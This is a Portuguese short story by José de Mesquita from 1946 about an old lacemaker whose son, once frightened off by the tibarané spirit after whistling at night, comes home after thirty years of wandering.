TIBARANÉ – O passarinho assoviador encantado

TIBARANÉ – O passarinho assoviador encantado

TIBARANÉ

Quem quer que passasse por aquela rua solitária, fosse as horas caniculares do meio dia ou pela fresca da tardinha, veria, naquela meia-água silenciosa da esquina, pela porta que se conservava sempre aberta, o vulto esguio e branco de uma velha, sentada em frente do tear, movendo os bilros, na paciente e cuidadosa tarefa que lhe absorvia os dias, as semanas, os meses e os anos.

Cá fora, a vida corria agitada e febril: os dias sucediam-se uns aos outros, em meio das graves preocupações e sombrios receios. Ali, porém, no sossegado interior da sua casinha, "siá" Felícia, como alheia a tudo, tecia, na paciência que imortalizou a mulher de Ulísses, as suas redes lavradas. Não contava com o tempo para o seu trabalho e, como artista que era, posto inconscientemente, vivia, segredada do mundo exterior, de que, raro eco longínquo e apagado lhe chegava à tebaide silenciosa. Na mesma serena e despreocupada postura vira correr os dias lúgubres e sangrentos da "Rusga", de cujas cenas dantescas falava, quando lhe ensejava ocasião como se fora de um excídio ocorrido cem anos atrás ou a cem léguas de distância. O terremoto de 1831, a morte de Poupino, em 1837, a "peste grande" em 1844, eram, na sua narrativa indiferente, como que fatos sem importância, coisas de somenos que lhe não abalaram aquele espírito de filosofia superior ou de indiferentismo pelos homens e pela própria vida. Também não lhe perguntassem pelo seu passado, que ninguém jamais conseguira abrir-lhe a boca, fechada e silente como a pedra de um túmulo. E se alguém, mais curioso ou menos cortez, insistia, redobrando em interrogativas, lá lhe vinha, entre um muxoxo e um sorriso indulgente.

— Quer saber? Vou contar. "Especula", companheiro da pergunta…

E prosseguia no seu trabalho, como se já ninguém ali houvesse a seu lado, olhos em alvo, na visão de um sonho, as mãos emaciadas correndo, treque-treque, ao longo dos fios que se entrecruzavam no vasto tear que enchia toda a parede do fundo do casebre…

* * *

Uma tarde mormacenta e triste de agosto, um velho, apoiado ao seu bastão, longa barba, vestido de andrajos, parou em frente à porta de "siá" Felícia. E, com espanto geral da vizinhança, "siá" Felícia deixou o seu serviço e veio à porta da rua encontrar o estranho visitante. Foi um boquejar de versões, um fervilhar de hipóteses por toda a rua. Quem seria aquele homem que, único entre os mortais, tivera condão de retirar, por alguns momentos, do tear a velha tecedeira? Talvez seu marido que volvia, após longa separação, um irmão quiçá, ou, podia ser, antigo namorado que ela revia saudosamente. Romances teciam-se novelescamente em torno do caso, quando, no outro dia, pela mesma hora, o velho reapareceu à porta, agora com uma trouxa ao hombro, a sua grande bagagem, provavelmente. Entrou e, ante o murmúrio confuso dos basbaques e garotos, deixou-se ali ficar, como hóspede, morador, ou não se sabe a que título. Ao escurecer a Joana do Teixeira, a mais temível linguinha do bairro, não se conteve e foi, acompanhada de uma filha, à casa de "siá" Felícia. Foi e, a queima roupa, interpelou-a sobre aquele caso que escaldava a curiosidade da vizinhança. Meia hora depois todos sabiam que o velho, bem que parecesse mais idoso que ela, era filho de "siá" Felícia.

Chamava-se Rodrigo. Correra o mundo a cata de dinheiro, de aventuras, de prazer. Voltava pobre, desiludido, sem um cruzado na algibeira nem uma esperança no coração. Fora, no entanto, belo, moço, cheio de ilusões, amara a vida e fora amado por ela.

— Um dia, porém, — e fora esta, dizia a velha, a grande tragédia do seu destino — Rodrigo vira o tibarané. Moço ainda, vivia com sua mãe, também moça, naquela casinha perto do Rola Cágado. Pouco adiante, morava um português abastado, senhor de grande escravatura, de mesa farta, salão sempre a pompear em bailes e festas. Tinha o casal uma filha única, moça mimosa e que passava em cavalos brancos todas as belezas da terra. Sem medir a distância que os separava, Rodrigo se encantou com Umbelina que, por infelicidade, lhe correspondera ao afeto. Os pais dela em bem aperceberam da inclinação dos dois, mandaram a menina para o sítio de uns parentes na Serra-Acima.

Rodrigo dispôs-se a segui-la e, apesar dos conselhos maternos, arranjou um bom animal, uma boa garrucha e partiu. Dias depois voltava, a pé, sem arma, quebrada a coragem que antes lhe fuzilava no ardido olhar. Morrera-lhe o coração ao saber, em chegando à terra, que Um belina casara com um primo rico senhor de engenhos e três vezes mais velho do que ela. Longos dias e longas noites passou deitado em sua cama de vento, recusando todo consolo. Debalde, entre lágrimas, Felicia lhe fazia ver que, moço ainda, o futuro lhe acenava talvez com maiores felicidades… Uma tarde, ao escurecer, êle sentou-se à porta e pôs-se a assobiar baixinho uma toada sentida. Era o tom de uma peça que Umbelina tocava, no seu cravo, naquelas noites de outrora. Lembrava-lhe bem ainda. O salão do boava fulgia às luzes dos candelabros de prata. Dançava-se a russiana que, desde a passagem da Comissão Langsdorff, substituíra o passapié e o minueto. Foi naquela noite que Umbelina, toda de branco, um grande leque de plumas à mão, lhe dera, como gages de sua felicidade, aquela memória que conservava ciosamente…

— Não assobia à noite, meu filho, — advertiu-lhe "siá" Felícia. — Olha que vem o tibarané.

— Histórias, minha mãe — disse Rodrigo, dando de ombros e continuando a assobiar.

Eis se não quando surge ao lado dele, sem que visse de onde viera, um bugre velho, de má catadura, feições me-xibentas, a moda de jenipapo, a pedir-lhe um pedacinho de fumo. Era o tibarané da lenda popular, alma de bugre, que aparece a quem assobia depois do anoitecer. Rodrigo sentiu um calafrio correr-lhe as veias e gritou por sua mãe que, à pressa, viera de dentro de casa, trazendo o estranho pedido, com que, sem mais, se retirou o indesejável visitante. ..

Desde esse dia o moço não teve mão em si na ânsia de partir daqueles lugares. Aproveitou a primeira tropa e fez-se rumo de Goiás. Correu todo o sertão. Conheceu cidades lindas e vilarejos humildes.

Foi às feiras rumorosas, às belas romarias, aos portos de mar, onde atracam os grandes navios, vindos de longas terras, aos rincões silenciosos, perdidos nas serranias e até as aldeias dos índios, em meio das matas sombrias. Viu, na Corte, as fidalgas de cadeirinhas e, nos campos as guapas sertanejas, mas na sua mente continuava a viver aquela que elegera esposa, no fundo do sertão natal. Ganhou muito dinheiro, passou muita aventura, até que um dia, velho, pobre, acabado de fortuna e de saúde, voltou, como o filho pródigo, ao lar materno. Sem uma queixa, sem uma exprobação, recebeu-o a mãe, que envelhecera pensando nele todos os instantes e pedindo a Deus que lhe devolvesse o ingrato, que nem uma notícia sequer se lembrara de enviar-lhe. E foi como se ele tivesse saído na véspera daquela casa, donde se afastara havia 30 anos… Rodrigo sentara-se à porta, àquela mesma porta onde havia trauteado a ária da russiana. E pôs-se a perguntar pelos conhecidos, um por um. Percebendo a mãe o empenho dissimulado de saber de Umbelina, adiantou-se na informação:

— Morreu. Você foi muito feliz. Ela não servia para você…

Êle nada mais perguntou. Estava já vai não vai para escurecer. Rodrigo conservou-se ali longo tempo, quieto, quieto, com vontade de chorar mas sem lágrimas, que haviam de há muito secado. Sentiu que alguém o enlaçava de leve, dizendo-lhe:

— Escuta. Lembra-se dessa música?

Vinha da mesma casa a tonadilha leve da russiana, velha de uns trinta anos ou mais. Explicou-lhe a mãe, por meias palavras, que era uma neta da outra que tocava, não mais ao cravo, mas ao piano. Umbelina morrera, deixando uma única filha, mãe daquela mocinha que lhe herdara o nome e a beleza…

Cessara a música, entretanto, e Umbelina, toda de branco, chegara à janela. Era a mesma, só não trazia, como trinta anos atrás, o leque de plumas…

Rodrigo revia-se na vida que passa, repassa, torna a passar… E, sem sentir, achou-se assobiando a russiana, quando, num susto, lhe veio à idéia a admoestação materna. Parou, indeciso. Então aquela que o esperara, aquela cujo carinho infinito, superior ao tempo e ao espaço, indiferente à ingratidão e ao olvido, continuava a ampará–lo, abraçou-o, orvalhou-lhe de lágrimas o rosto, dizendo-lhe com voz estrangulada de soluços:

— Pode assobiar, meu filho… Anda. Desabafa. Na nossa idade, o tibarané não vem mais…

José de Mesquita: No Tempo da Cadeirinha. Edição da Academia Matogrossense de Letras (Estante Matogrossense, Vol. V), 1946, pp. 21-27.

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